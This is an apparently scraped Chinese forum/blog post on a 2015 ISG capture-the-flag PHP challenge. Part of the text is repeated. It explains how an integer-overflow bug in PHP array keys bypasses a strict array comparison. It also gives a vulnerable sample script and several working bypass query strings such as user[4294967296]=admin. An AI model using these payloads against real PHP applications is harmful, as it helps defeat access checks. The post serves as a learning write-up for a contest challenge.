Home > Article > Backend Development > hack - PHP的信息安全(入侵获取$flag)的题目【Q2】
地址:http://202.120.7.134:8888/html/array.php
参加ISG(信息安全大赛)发现的一道题目。
作为一名PHPer,喵的我真心感觉这代码无解啊。。。
求大神解惑,如何给一个user参数,获取到$flag。。。
Update at 2015/20/22
总算通过"邀请回答"找到大神了~
漏洞在于PHP的数组下标的一个BUG,可以利用【整型溢出】……
可以参照这里:
https://bugs.php.net/bug.php?id=69892
我觉得这种利用BUG出题的,简直是……
比赛时间已过,果断自己写了下代码:
<code><?php //这里简化一下题目,直接把time定死 $flag = 'ISG{'.time().'}'; $time = '1445502008';//2015/10/22 16:20:8 if(empty($_GET['user']))die(show_source(__FILE__)); $user = array('admin', $time ); if($_GET['user'] === $user && $_GET['user'][0] != 'admin'){echo $flag;} </code></code>
测试效果:
测试地址:
http://moonlordapi.sinaapp.com/1.php
补充,参数可以有好几种方式:
http://moonlordapi.sinaapp.com/1.php?user[4294967296]=admin&user[4294967297]=1445502008
http://moonlordapi.sinaapp.com/1.php?user[4294967296]=admin&user[]=1445502008
http://moonlordapi.sinaapp.com/1.php?user[4294967296]=admin&user[1]=1445502008
就此愉快地结题了。
地址:http://202.120.7.134:8888/html/array.php
参加ISG(信息安全大赛)发现的一道题目。
作为一名PHPer,喵的我真心感觉这代码无解啊。。。
求大神解惑,如何给一个user参数,获取到$flag。。。
Update at 2015/20/22
总算通过"邀请回答"找到大神了~
漏洞在于PHP的数组下标的一个BUG,可以利用【整型溢出】……
可以参照这里:
https://bugs.php.net/bug.php?id=69892
我觉得这种利用BUG出题的,简直是……
比赛时间已过,果断自己写了下代码:
<code><?php //这里简化一下题目,直接把time定死 $flag = 'ISG{'.time().'}'; $time = '1445502008';//2015/10/22 16:20:8 if(empty($_GET['user']))die(show_source(__FILE__)); $user = array('admin', $time ); if($_GET['user'] === $user && $_GET['user'][0] != 'admin'){echo $flag;} </code></code>
测试效果:
测试地址:
http://moonlordapi.sinaapp.com/1.php
补充,参数可以有好几种方式:
http://moonlordapi.sinaapp.com/1.php?user[4294967296]=admin&user[4294967297]=1445502008
http://moonlordapi.sinaapp.com/1.php?user[4294967296]=admin&user[]=1445502008
http://moonlordapi.sinaapp.com/1.php?user[4294967296]=admin&user[1]=1445502008
就此愉快地结题了。
请教了我安全的大神同学 他说0可以通过整型溢出得到 绕过if判断
楼上正解。。。。